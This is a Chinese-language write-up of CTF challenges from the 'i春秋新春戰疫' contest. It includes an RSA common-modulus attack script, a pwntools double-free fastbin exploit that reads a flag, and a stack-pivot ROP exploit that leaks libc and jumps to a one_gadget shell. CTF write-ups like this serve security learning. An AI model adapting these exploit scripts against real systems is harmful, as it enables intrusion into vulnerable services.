i春秋新春戰疫WriteUp

Crypto

1. easy_rsa

下載附件,內容如下:

n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664

一個 n 兩個 e 兩個 c ,判斷爲 RSA 共模攻擊,上腳本:

#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#RSA 共模攻擊腳本

from libnum import n2s, s2n
from gmpy2 import invert

# 擴展歐幾里得算法
def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)


def main():
  n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
  c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
  c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664
  e1 = 464857
  e2 = 190529
  s = egcd(e1, e2)
  s1 = s[1]
  s2 = s[2]
  # 求模反元素
  if s1 < 0:
    s1 = - s1
    c1 = invert(c1, n)
  elif s2 < 0:
    s2 = - s2
    c2 = invert(c2, n)

  m = pow(c1, s1, n) * pow(c2, s2, n) % n
  print(n2s(m))  # 二進制轉string


if __name__ == '__main__':
  main()

Pwn

Some_thing_exceting

64 位打開 Canary、NX ,菜單式程序,基本增查改功能。creat 函數內發現數據結構體,允許 size 爲 1~112 :

struct Banala{
    char *ba;
    char *na
}

漏洞爲 double free ,位於 delete 函數,free 後沒有歸零指針:

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#    Delete Banana    #");
  puts("#---------------------#");
  printf("> Banana ID : ");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 < 0 || v1 > 10 || !ptr[v1] )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    goodbye();
  }
  free(*(void **)ptr[v1]);                      // free ba
  free(*((void **)ptr[v1] + 1));                // free na


  free(ptr[v1]);                                // free struct
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

在看後門函數 read_flag() ,將 flag 讀入到 bss 段,並且(15行)寫入 0x60 。若假設 flag 位於某一個堆的 fd 位置, 0x60 剛好位於該堆的 size 位。

unsigned __int64 read_flag()
{
  FILE *stream; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  stream = fopen("/flag", "r");
  if ( !stream )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  byte_6020A0 = 96;                             // chunk size
  fgets(s, 45, stream);
  return __readfsqword(0x28u) ^ v2;
}

利用思路:double free 讓某一個堆既處於 fastbin 又是被分配狀態。修改該堆 fd 指針,重新分配相同大小堆,用程序 view 函數讀出。

完整 exp 如下:

最後一輪申請堆使用的是0x20 是因爲修改了堆數據,申請其他大小會報錯,所以就用 fastbin 中剩下的堆,gdb 查一下就看到了剩下 0x20 ,所以用 0x20 。

#coding:utf-8
from pwn import *

context.log_level = 'debug'
p = process("./excited")

def creat(ba_len,ba,na_len,na):
    p.recvuntil("want to do :")
    p.sendline("1")

    p.recvuntil("length :")
    p.sendline(str(ba_len))
    p.recvuntil("ba :")
    p.sendline(ba)

    p.recvuntil("length :")
    p.sendline(str(na_len))
    p.recvuntil("na :")
    p.sendline(na)

def delete(id):
    p.recvuntil("want to do :")
    p.sendline("3")

    p.recvuntil("ID :")
    p.sendline(str(id))

def view(id):
    p.recvuntil("want to do :")
    p.sendline("4")

    p.recvuntil("ID :")
    p.sendline(str(id))

creat(0x50,'a'*0x50,0x50,'b'*0x50)//被double free chuck
creat(0x50,'c'*0x50,0x50,'d'*0x50)//用於隔開double free chunk
creat(0x50,'e'*0x50,0x50,'f'*0x50)//防止上面兩個chunk free 與top chunk合併

delete(0)
delete(1)//間隔
delete(0)//double free


creat(0x50,p64(0x06020A8-0x10)*10,0x50,p64(0x06020A8-0x10)*10)//edit chunk1 fd to flag
creat(0x50,'',0x50,'')
creat(0x50,'',0x20,'')
view(5)
p.interactive()

還有點不清楚的就是:完成 double free 後申請堆的時候,使用 fastbin 的順序很奇怪。具體點說:每輪 free fastbin 會增加 1 個 0x20 、2 個 0x60 chunk 。但是最終 free 3 輪後有 4 個 0x20 、6 個 0x60 。緊接着第一輪申請使用的是第三輪和第二輪各一個 0x60 。最後我是每申請一次就調試一次,看每次申請的是那塊 chunk。

這裏搞了很久,各位師傅知道的告訴一下。

borrowstack

64 位棧遷移

from pwn import *

context.log_level = 'debug'
p = process("./borrowstack")
elf = ELF("./borrowstack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bank = 0x601080
pop_rdi = 0x400703
leave = 0x400699
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
one_gadget = 0xf02a4

payload_0 = 'a'*0x60
payload_0 += p64(bank+0x90) + p64(leave)
p.recvuntil('want')
p.send(payload_0)

pay='\0'*0x90+p64(bank+0x60)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
pay+=p64(0x0400680)
p.sendafter('now!\n',pay)

libc_base=u64(p.recv(6)[:].ljust(8,'\0'))-libc.symbols['puts']
info("one:"+hex(libc_base+one_gadget))

pay='a'*0x60+p64(0xdeadbeef)+p64(one_gadget+libc_base)
p.sendline(pay)

p.interactive()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章